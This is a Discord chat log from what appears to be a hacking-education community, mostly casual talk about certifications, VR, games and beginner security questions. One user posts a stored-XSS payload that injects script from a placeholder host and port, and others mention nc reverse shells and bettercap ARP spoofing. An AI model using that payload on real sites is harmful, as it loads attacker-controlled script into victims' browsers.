Untill I get uploaded to a San junipero style VR

[fickle snow]

Might be, thank you. Its CTF therefore there is some vuln. and I focused on upload but it looks like there is no go for me there, either its not possible or im doing something wrong even that idk what 😄

[twin ridge]

Gave +1 Rep to @lone thistle (current: #8 - 810)

[rapid merlin]

Haha, I can't wait till there are some more big steps with VR

Ready Player One coming soon...

[glass nest]

Yah. looking forward to haptics and stuff becoming a thing

[rapid merlin]

There also comes downsides with that

I think the more advanced our VR gets the further people become anti-social

[glossy portal]

I'd argue the opposite might be possible also

[glass nest]

i guess so, but on the other hand other opportunities will open up

[rapid merlin]

Yeah it's an interesting thing to think about

I just hope that we don't get more out of touch with people

[glossy portal]

Discord for example, helped me to learn how to socialize with people than just "being out there"

[rapid merlin]

hi

[rapid merlin]

Do you interact better in real life as a result?

is this a coding server

[glass nest]

Nope

Some coding, but not lots

[glossy portal]

There's a gain yeah, I can practice in vc, stand up, pretend they're in front of me, then apply that IRL

[rapid merlin]

I think honestly online platforms don't help me as people will often mask. They don't act their true selves online at all imo

[rapid merlin]

That's pretty cool, I'm glad it builds your confidence

[glass nest]

I try to.

[glossy portal]

Yep it's a useful tool

[glossy portal]

Opposite for me, my beliefs/values are unorthodox where I live so I have to mask

[rapid merlin]

Yeah, I have spent a lot of time in questionable communities where people don't xD it's nice to be in something more laid back

[rapid merlin]

Interesting

[glossy portal]

It's an acceptance thing, I have friends online who would accept my values fully, which is hard to find IRL

[glass nest]

Its the difference between a learning enviroment and a fan envorment

[rapid merlin]

+100

[glossy portal]

And no I don't mean criminal anarchy values, values that are normal to you, which are not normal where I live

[glass nest]

Yah, all equal on here

[lone thistle]

Training the next gen of cyber defenders and warriors is pretty shweeet though 😄 😉

[rapid merlin]

Are you from the west?

[rapid merlin]

Yeah there's lots of egos in skid communities

[wintry sluice]

everywhere has a west 😛

[rapid merlin]

Oh yikes

[glossy portal]

If you don't, you're an outlier, at-least the people around me see it as that

[rapid merlin]

Unfortunate but at least you can find like minded people online ^_^

[glossy portal]

Yep, I'm thankful for that

[charred forum]

half of europe is like that too

[glossy portal]

I'm somewhat aware yeah

[glass nest]

But yeah, none of that is here, and can't really comment on local cultures etc.

personally? I don't care where your from, what you believe, who your attracted to or what you identify as. Alls I care about is people being excellent to each other.

https://tenor.com/view/party-on-folks-be-excellent-gif-25511039

[glossy portal]

My beliefs lie in the traditional Stoic camp, so same

[sick lance]

https://samples.vx-underground.org/tmp/Lockbit_Statement_2024-02-24.txt

[wintry sluice]

who is lockbit?

[fickle snow]

Can you get reverse shell from stored xss if script alert is working? Thanks!

[naive violet]

@glossy portal This isn't appropriate for here

[naive violet]

Do you know how XSS works?

[fickle snow]

Yes, I guess i asked in a wrong way 😄 Let me rephrase it. I have tested in working xss following script but its not giving me reverse shell, ip and port is correct.
<svg/onload=setInterval(function(){d=document;z=d.createElement("script");z.src="//HOST:PORT";d.body.appendChild(z)},0)>

Any other ideas how to make xss reverse shell working. Thanks :))

[naive violet]

XSS can't lead to a reverse shell.

It's not code execution on the underlying system.

[fickle snow]

I see, thanks for explanation 🙂

[shut hawk]

You'd have to chain it or hope that JS is run server side

[rare pilot]

I want to be a hacker, how to start?

[sick lance]

Have a read over #start-here

[crude stump]

It’s the largest cyber gang least it was.

[shut hawk]

@sick lance When did you signup to the arc waitlist (if you can remember)?

[sick lance]

Thursday

[shut hawk]

Student email?

[sick lance]

Yeah, students get 24 hours.

[shut hawk]

Ah, thought so - Okay cool

[surreal charm]

Hi guys
I'm new here

[crude stump]

Wow that’s really interesting

[crude stump]

Hello

[surreal charm]

How's your day going

[crude stump]

Good

Wby

[surreal charm]

Awesome

I just have the ambition of being a hacker
But I don't know where to start

[rapid merlin]

Hell yeah

[wintry sluice]

#start-here

[surreal charm]

Thanks 😊

[twin ridge]

Gave +1 Rep to @wintry sluice (current: #2006 - 1)

[brisk tree]

I want an Ironman one of these

[rapid merlin]

I think I seen the endgame funko pop of iron man

There was also like dr strange and stuff

[brisk tree]

Nice

[north badger]

Casually bumped into a dude repping THM Merch

|| @mossy river 😉 ||

[near hawk]

👀

[north badger]

Gotta respect the drip

[lethal fog]

Can I install Kali Linux on WSL2?

[bleak dagger]

hackerman

[lethal fog]

Well, I want to start out with ethical hacking!

[bleak dagger]

lol

[mossy river]

https://tenor.com/view/munsonated-gif-26549638

[lethal fog]

Can someone advise me?

[sick lance]

Now we know an osint point for Jabba

[mossy river]

Good luck finding me among all the other students at Warwick

[wintry sluice]

now even more info

[north badger]

Too late

[mossy river]

[rapid merlin]

hey is it safe to use kaspersky cus i heard the russian government has backdoor in it but im not sure if true

[raven moth]

not quite sure about this propaganda but i use malwarebytes and i think it's the best AV out there

[naive violet]

If you don't feel comfortable with the possible government ties, use something else.

[rapid merlin]

im just asking if its true

im just asking if theres evidence

i couldnt care less if vladamir putin has my search history, i dont criticise him lol

was just curious

[naive violet]

From that response, I'd say you do feel uncomfortable. That means use something else.

[rapid merlin]

im not uncomfortable]

lol

[naive violet]

https://en.wikipedia.org/wiki/Kaspersky_bans_and_allegations_of_Russian_government_ties
Just look at the citations for evidence

Whether the evidence can be trusted is a different question.

[spice adder]

Oh u a Warwick student?? I got personal beef with Warwick from a university ctf I did last year 😂

[mossy river]

Which CTF

[spice adder]

Sheffield Hallam university

[mossy river]

Did Warwick beat you or something

[spice adder]

Yeah man 😂 Warwick had 2 teams, both sat right next to eachother and of course they’re top 2

We came 3rd, but Warwick was a conjoined force of 10+ whereas we were a team of 4 lmao

[mossy river]

Do you remember the team names?

Also L

[north badger]

Common Jared W

[spice adder]

I’m sure they weren’t particularly exciting, like Warwick 1 & Warwick 2 😂

Hey with 3rd place we did get some HTB vouchers and a bronze spray painted Amazon essential keyboard

[mossy river]

Hmm, I don’t remember any CTFs last year but I also don’t really remember last year

[naive violet]

That's a great prize lol

[north badger]

Out too busy at Spoons

[naive violet]

Speaking of, Jabba, lmk if you're down my way

[mossy river]

Of course

[north badger]

THM Official meet-up when

[spice adder]

Let’s all just meet inside a web shell

[north badger]

Address is 127.0.0.1 right? 😂

[hearty plover]

Since we often use Anonymous as an entry point for more information, doesn't it make sense to block/delete the user as far as defense is concerned? 😮

[mossy river]

Huh?

[glass nest]

I agree with Jabba.

[hearty plover]

Let me clarify it 🙂 XD

Often we use the when we check ftp/smb the anonymous user where we can find some informations. doesnt it make sense to block it via configs in case we are system administrators? 😮

[glass nest]

Of course. Unless theres a reason to keep it 'public'.

[hearty plover]

Thank you very much for the answer! ❤️

[sonic dust]

You should always remove anon login lol

[hearty plover]

I was wondering cuz this is a entry point in some cases

[glass nest]

the reason we check is in case a sysadmin left it on by accident

[sonic dust]

Do you know how many have anon login on smb in the world rn with financial data open to the public?

A lot

[glass nest]

Lots of 'hacking' is just finding stuff that a sysadmin got wrong, forgot, didn't know about etc

[hearty plover]

thank you guys, love this community.. i was wondering and now im a bit smarter XD

[sonic dust]

Okay so cpts or pnpt

Can’t decide which to go do

[glass nest]

Tough call. PNPT is fun, but not widely known yet

[sonic dust]

Cpts is?

I hear Cpts equates to like a 110 page pen report

[glass nest]

Hehe

Well, Honestly I like TCM. The couple of times I've spoken with him, seems like a really good Egg. I don't know too much about the HTB crew other than Emma

[sonic dust]

Hmmmm

[glass nest]

The HTB academy was a bit... hmm.. when it was released, with that 'Cube' system. I think it worked out that you'd be spending a few hundred bucks on content you can get for free eslwhere. I have been out of the game for a while, so that might have changed

[sonic dust]

I’ll probs go cpts into pnpt tbh. I just hate reading. The videos in ejpt were better

[glass nest]

Yeah. Apart from how the guy says 'Meterpreter'

[sonic dust]

Or the other guy

[glass nest]

'Meter Preter'

[sonic dust]

Who was “neat”

And the. You get. A shell that’s neat!

[glass nest]

Funnily enough he says it the other way later in the videos...

[sonic dust]

lololol

I just hate how e learn certs expire now 😭

[glass nest]

The ejpt content was good - Is it all still free?

[sonic dust]

Hah no

They confungled that so much

It’s stuck behind a 300 dollar purchase

[glass nest]

Ah, so you buy the cert, then get the content for it. I suppose that how a lot of other places do it

[sonic dust]

Or you do the monthly sub and buy the voucher for like 250

[simple valve]

Are you planning to do both?

[grizzled crystal]

HTB Academy is really really good. If you've got an edu email it's also very cheap

Lots of content for a great price

[wintry sluice]

I say it meh-terpreter

[grizzled crystal]

Mater Pater

[shut hawk]

Meter Reader

[glass nest]

Aye, i think it was just the pricing structure that put me off. I'm not in education, so I don't get any of them tasty discounts

[grizzled crystal]

Yeah fair enough. I think the subscription without the discount is still worth it, but defo more expensive

[violet pollen]

my friend just got his data resetted by an hacker the hacker got his email and resetting his phone by app called find my device, and I wanna ask how do we prevent someone that have access to our email to reset our phone, cause this is kinda scary

[glass nest]

Keep good passwords on your email

And dont click on suspicious links

[wintry sluice]

use a strong password, check ssl cert before inputting it for email

[violet pollen]

so there is no like setting to not letting our phone got resetted by someone on our email ?

[glass nest]

Maybe, but that would be to do with iphones settings

[crude stump]

wdym reset

as in his phone got hard reseted?

[shut hawk]

I think theres an apple feature that allows you do to that remotley, not sure

[glass nest]

Aces - Its a thing you can do. There are services that can brick your phone remotely if it gets nicked

[crude stump]

ooh

[shut hawk]

Personally wouldn't enable it, but that's my own threat model

[crude stump]

thats kinda dumb tbh

[shut hawk]

Nah, it can be very useful if you have sensitive data on there that you need to get rid of if it falls into the wrong hands

[glass nest]

Oh it can be used to back your stuff up aswell 😄

[wintry sluice]

I can see the appeal. if there is no hope of recovery, making it so the thief can't use the phone feels good

[shut hawk]

Well they can still use it...with a new account

[crude stump]

wouldn't you just call your phone provider?

service

[glass nest]

While Stealy McStealface racks up a bill calling the talking clock in Korea?

and you don't have a phone, so harder to call them

😄

[crude stump]

never thought about that lmao

[wintry sluice]

not if you brick it

[boreal scarab]

Morning!

[shut hawk]

I don't think the feature is to remote brick it

Erase, not brick

[crude stump]

then whats the point if the bad guy can still use your phone?

[mossy river]

Don’t enable it on your device, use 2FA, have a secure password.

Your friend has been compromised. Also you can’t erase the device remotely, only lock it

[crude stump]

i get the erasing the data but

[shut hawk]

You erase all your sensitive data

[glass nest]

oh, I thought you could fully brick it

[mossy river]

I stand corrected, you can erase the device

[shut hawk]

?

[crude stump]

thats when you call your provider

[glass nest]

Or... just don't have sensitive data

[crude stump]

my guess is you would erase

and then call your provider to shut it down

incase it got stolen

of course

[bleak dagger]

i can run whatever os i want on an asus chromebook right ?

[shut hawk]

There's a difference between your phone as in the mobile network provider and your phone as in an actual device to use

[crude stump]

hm

yeah i never had to do any of this so its new to me

interesting tho

hopefully i wont ever have to

[violet pollen]

[crude stump]

welp hope your friend figures it out

[violet pollen]

ye his phone got resetted lol, I just know that if we have someone email then we can reset another phone on that email too

[glass nest]

And let me congratulate you on having a friend 😄

(i'm just salty cos my 2 besties and their kids (my godkids) are in Canada for the next 1.5 years)

[crude stump]

welp the years fly by

[sonic dust]

I am kinda yeah. I like having multiple certs from different vendors

[simple valve]

Isn't it a bit of redundant?

[crude stump]

Mknukn i bought this is how they tell me the world ends

[simple valve]

NICE how is it so far for youu

[sonic dust]

Can be. Some jobs look for one others look for another

[crude stump]

awsome

its a really cool book\

[sonic dust]

I never see an issue with having both. My eJPT expires after 3 years. I’d like to have one PT cert before it does

[glass nest]

Do the older ones expire?

[sonic dust]

EJPT expires after 3 years. After elearn took@over I think they required a retest as their exam changed

[simple valve]

Ok, I understand that, isn't it then more beneficial for you to take one thats looked for the most

[sonic dust]

Which would be

OSCP? Lake

***

[simple valve]

That would depend on your local area

[sonic dust]

Not but for real I’d say most likely cpts or offsec certs

[simple valve]

CPTS is I think is the best bang for your buck

I'd say it goes like CPTS > OSCP > PNPT

[bleak dagger]

ill send it later

[sonic dust]

Like you said Tcm is newer and lesser knownst so it wouldn’t get as much recog

You. An run any os on any machine as long as it’s compatible with the sys reqs

[simple valve]

No not really, I just think the course is bad for what you get

[sonic dust]

Oh dam really

[spice adder]

From people I’d spoke to they all seem to put the point across that OSCP is a huge shortcut to getting hired, you’d say the same about CPTS?

[glass nest]

the TCM community are great aswell.

[sonic dust]

I’ve also heard from many that OSCP is dated

[spice adder]

Can’t be as bad as ceh 😂

[simple valve]

I can't really say much but I think the CPTS is one of the best courses you can buy for its price point

[sonic dust]

One use of msf in the entire exam and it has tool restrictions

Yeah can’t go wrong for 200

[simple valve]

OSCP is also good, I don't think its dated, it was also recently updated and when I took it, the content was enough to pass

[sonic dust]

I can’t justify 2000 dollars for a cert right now tbh

[spice adder]

Thanks man, my university is putting me through CEH this year but was looking into ejpt & oscp as well. Will look into cpts:)

[twin ridge]

Gave +1 Rep to @simple valve (current: #24 - 344)

[chilly veldt]

Mu sound system in my car isn't working 😭😭

[simple valve]

I understand that, OffSec has steep price points for individual learners

[sonic dust]

Wait on ejpt they are revamping the w tire course

[spice adder]

Time for da Bluetooth speaker in da car

[sonic dust]

They’re removing one guy completely from it and adding a few things to ejpt

[simple valve]

Eh, they just revamped it right? What made them revamp it again...

[spice adder]

Aight man. What version of ejpt are we on? Still v2? 😂

[sonic dust]

Oh they’re still in the process of removing neat guy

[chilly veldt]

More like getting enough power for my sub to work

[spice adder]

Heard so much shit talk about ejpt but I like the sound about it

[sonic dust]

He had like 50-60 % of the core materials that everyone skipped because he was so boring

Ejpt will be 100% alexi now

Josh mason that’s the guy they’re kicking him out

[spice adder]

What you wired it to?

Should be fine from any accessory live

[chilly veldt]

It's my new battery I just switched to, thought it had enough power like my old, but guess not

[spice adder]

Ahh that’s a shame. Still have warranty on the battery to get a replacement if it’s new :)

[chilly veldt]

Yeah, it's not even weeks old :/

[simple valve]

eJPT is bad bc the standard entry level for pentesting certs has been way higher (e.g. OSCP, eCPPTv2, PNPT, CPTS, etc.)

[exotic galleon]

Can confirm..

[sonic dust]

I’d say it’s good for those JUST learning or testing. But wait till Black Friday sales

I bought my voucher and course for like 100 bucks

[left pebble]

thanks to @lone thistle for Moniker Link (CVE-2024-21413) Room. Was very helpfull

[twin ridge]

Gave +1 Rep to @lone thistle (current: #8 - 811)

[sonic dust]

Actually cpptv3 is the works

I heard they’re updating it as well

[crude stump]

ben makes awsome rooms

[silver saffron]

be me, tinkering with Docker containers and not realising ssh -p PORT user@localhost IS NOT THE SAME as ssh -W localhost:PORT user@localhost.

[glass nest]

no-one said it would be easy 😄

[crude stump]

anyways lets ignore that

how o uding esqy

you doing

[glass nest]

Trying to figure out what to have for lunch/dinner, while waiting glue to dry in the garage

[bleak dagger]

engrish 100

[crude stump]

whats the project today

[crude stump]

10/10

[bleak dagger]

eat glue

[wintry sluice]

food

[glass nest]

trying to make a tresure chest

[boreal scarab]

Be me.
Play HEAVILY modded skyrim on hardcore legendary
Be level 4
Walk into a cave with a level 95 Ancient Nightmaster Vampire

[crude stump]

oo

[boreal scarab]

https://tenor.com/view/nope-hell-no-no-gif-14809980

[crude stump]

are you into puzzles esqy?

[glass nest]

I've dabbled

[silver saffron]

ah fellow Souls-like enjoyer, or rather Sekiro 😂

[crude stump]

have you ever thought about making a wooden puzzle

[wintry sluice]

make a wooden puzzle box

😮

[crude stump]

i use to have this puzzle made out of bamboo

lost it lol

have no idea where the heck it went

[glass nest]

I recently printed a puzzle box

[boreal scarab]

Using Nolvus. But yah! I walk into the cave thinking "This will be good spell practice"

https://tenor.com/view/chuckles-im-in-danger-ralph-wiggum-the-simpsons-gif-14149962

[crude stump]

wait explain to me how somone can make gears and have it run smoothly. i cant fathom the machine making a gear without some kind of support holding it in the gear box

[wintry sluice]

using LotD?

[boreal scarab]

Quickly run out, and EVERYONE follows me, die in 1 hit

[crude stump]

as in 3d printer

[glass nest]

Lord of the Dance?

[boreal scarab]

Oh yah, even if Nolvus didn't have it, I would add it

[glass nest]

you print the parts, then assemble it

[boreal scarab]

Legacy Of The Dragonborn

[boreal scarab]

https://www.nolvus.net/

[glass nest]

Legs of the Dragon?

[silver saffron]

reminds me of getting kicked by seven Rogues in WoW...as a Shaman

[wintry sluice]

tldr: there is a museum that you fill with the stuff you find

[crude stump]

oh so lets say your making something with internal gears. do you print it in halves and either glue them or plastic weld them together?

[boreal scarab]

Yes, Legs of the Dragon

[boreal scarab]

Welcome to my skyrim

[glass nest]

AceS - Just a bit of planning. Sometimes you can 'Print-in-place', but they are kinda hit and miss. But it's like making a self-build kit

[silver saffron]

IDP...yes, yes

[crude stump]

hm thats cool

have you seen theres a space company that instead of 3d printing it welds rockets

like space rockets

its called relativity space

[glass nest]

doesnt surprise me. 3D printers or stuff like them have been used for prototyping for years. It's only relatively recently where the costs have gotten to a consumer pricepoint

When private companies can devlop stuff, the tech gets better quickly

[crude stump]

very true

https://youtu.be/kz165f1g8-E?si=GI2NsY5UBW_uLMsr

[glass nest]

nothing promotes development more than dolla bills, y'all

[north badger]

Me x @mossy river pool:

1 - 3 To Jared 😂

[crude stump]

the world runs on it fr

[mossy river]

Undefeated champion 😎

[crude stump]

jabba we need a cyber news channel

[north badger]

Oi 😂 nearly got you a few times

[nova pollen]

news channel would be nice 🙂

[crude stump]

thats what im saying

[lethal fog]

Does someone know the repository sudo bettercap? https://github.com/bettercap/bettercap?tab=readme-ov-file

[glass nest]

It was answered previously if I remember?

--> #general message

theres your answer.

I can look at a meal, and even eat it and try to copy it, but all the other stuff involved in it is a mystery to me (how to cook it, what the sauce is etc)

[wintry sluice]

am i missing something? you can't stop people from seeing the html anyway.

the html is how your browser knows what to show when people visit the website

[glass nest]

Yes, it could be used as an attack vector. Thats why certificates exist

and why you shouldn't random click on every link that emailed to you

but then, so could a text from a number that has a title.

Or someone wearing a Hi-vis jacket carrying a clipboard.

[fleet finch]

does anybody know how to make a stable tty shell? when I have nc reverse shell or using exploits I cannot use up- and down- arrows etc but kali now has ZSH and I am not able to use these "get a stable tty shell" tricks anymore 😦

[glass nest]

And is why its important to educate people about online security and safety

Araneus - A room on THM called 'What the Shell?' goes through techniques for that 🙂

[lethal fog]

Can anyone help me with sudo bettercap?

[glass nest]

A bad person might. Thats why we learn what we do - to prevent that. ISPs take those down when they are reported

You get an email telling you to check your bank? Sweet. Head to a web browser and log into the actual site instead of clicking the links.

[wintry sluice]

https://www.ncsc.gov.uk/guidance/phishing#section_2

[glass nest]

Its like... you can't stop it, so mitigate the risks in other ways.

[wintry sluice]

how do you propose to prevent them seeing it? they need the html to see your website

[glass nest]

Some sites make a point to say 'We will only ever use your full name in the title'. So if it's 'Dear user' then you know its bad

[wintry sluice]

you still need to send it to the browser. someone can grab that with burp suite and read it

[glass nest]

To show anything on your screen, there needs to be a 'Canvas'. HTML Provides that canvas. the security stuff IS hosted (or should be) on the companies server. Ok, Maybe you can see some JS on there, but again - That will be calling functions from a server you can't acces

And you are right. Copying a site is negligbly easy. So you gotta use your own common sense when accessing websites or reading emails. Things like security certs for example.

I'm kinda wondering what your point is though?

Shrug. Theres no real choice.

see? valid certificate

[wintry sluice]

browsers try to make it easy (green padlocks etc)

[glass nest]

Which is why the site owners need to do their due dilligence.

Still not decided what food items to acquire for... well it's fully dinner now.

Thats too much effort. Plus, I don't really have the stuff for that - Shops close at 3pm on sundays here, and it's just gone 4

So probably gonna be somewhere I can drive to, get food, come back and eat it

[nova pollen]

shops open on a sunday 😮

[glass nest]

thats supermarkets. There are a few smaller places that are open - Co-Op for example is one brand thats open

[wintry sluice]

never been a fan of sunday trading laws

[glass nest]

Aye, me neither.

[cosmic laurel]

what sort of things do you do outside tryhackme and your job relating to security?

[glass nest]

I lock my front door

Thats part of the psychology. If someone can fall for that, They will likely fall for the whole scam. Same as why 'Nigerian Princes' have such bad english and obvious ruses.

All that being said, Imma step back from this - Looks like i'm providing tips to the baddies.

[lethal fog]

How to turn on the networkManager on Kali Linux?

[wild rose]

Sounds like a google question...

[nova pollen]

that guy still owes me 50k

[lethal fog]

I've searched for it: It told me to type service networkManager start in my terminal, but it hasn't worked out for some reason

[nova pollen]

i helped him out several times already 😦

[glass nest]

Starting/stopping services doesnt always give a response. It just.. does it

[wintry sluice]

why do you want to turn it on? are you trying to connect to the THM VPN?

[glass nest]

Thats cool, ThatGuy - I just don't wanna cross a line, y'know

[lethal fog]

I'm new to Kali Linux, I myself don't know why to turn it on. I thought I could learn more about it later on

[wild rose]

systemctl status NetworkManager

to check it's status

[nova pollen]

start with learning linux in general.

[lethal fog]

I come from Ubuntu and decided to learn Kali Linux as well, but things may not seem to work for me 😩

Does someone know bettercap and can help me out?

[wintry sluice]

what are you trying to do? what is telling you to turn it on?

[nova pollen]

i was talking about the nigerian prince

[lethal fog]

Nothing actually, I was just curious of it

[wintry sluice]

https://www.kali.org/tools/bettercap/

[lethal fog]

I'm just following a tutorial on YouTube and follow each step. However, I encounter problems and things do not work for me

[wild rose]

www.bettercap.org

[lethal fog]

This command does not work for me: set arp.spoof.targets <ip address>